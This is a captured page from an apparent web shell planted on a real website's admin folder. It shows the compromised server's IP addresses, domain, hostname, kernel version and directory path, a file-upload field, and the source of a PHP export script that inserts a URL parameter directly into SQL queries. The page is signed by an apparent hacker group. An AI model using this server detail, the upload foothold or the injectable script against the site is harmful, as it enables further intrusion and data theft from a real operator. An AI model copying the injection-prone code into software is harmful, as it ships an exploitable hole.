1337 3YP455 5H311
:
216.73.216.113
:
119.59.104.17 / hrdigest.co.th
:
Linux re1.hostinglotus.net 4.18.0-553.58.1.el8_10.x86_64 #1 SMP Wed Jun 25 06:37:46 EDT 2025 x86_64
:
/
home
/
hrdigest
/
public_html
/
admin
/
UP104D F1L3:
files >> /home/hrdigest/public_html/admin/to_excel.php
<?php require("../inc/function_admin.php"); $mem = checkid(); header("Content-Type: application/vnd.ms-excel"); header('Content-Disposition: attachment; filename="$_GET[tb].xls"');#ชื่อไฟล์ $result = mysql_query("Select * From `$_GET[tb]` Order By `id` Asc"); $result_col = mysql_query("Show Columns From `$_GET[tb]`"); $num_col = mysql_num_rows($result_col); ?> <html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <table x:str border="1"> <? while($row = mysql_fetch_array($result)){ ?> <tr> <? for($i_col2 = 1; $i_col2 <= $num_col; $i_col2++){ ?> <td><? echo $row["$i_col2"]; ?> </td> <? } ?> </tr> <? } ?> </table> </body> </html>
1337r0j4n | 13379H0575 53CURI7Y 734M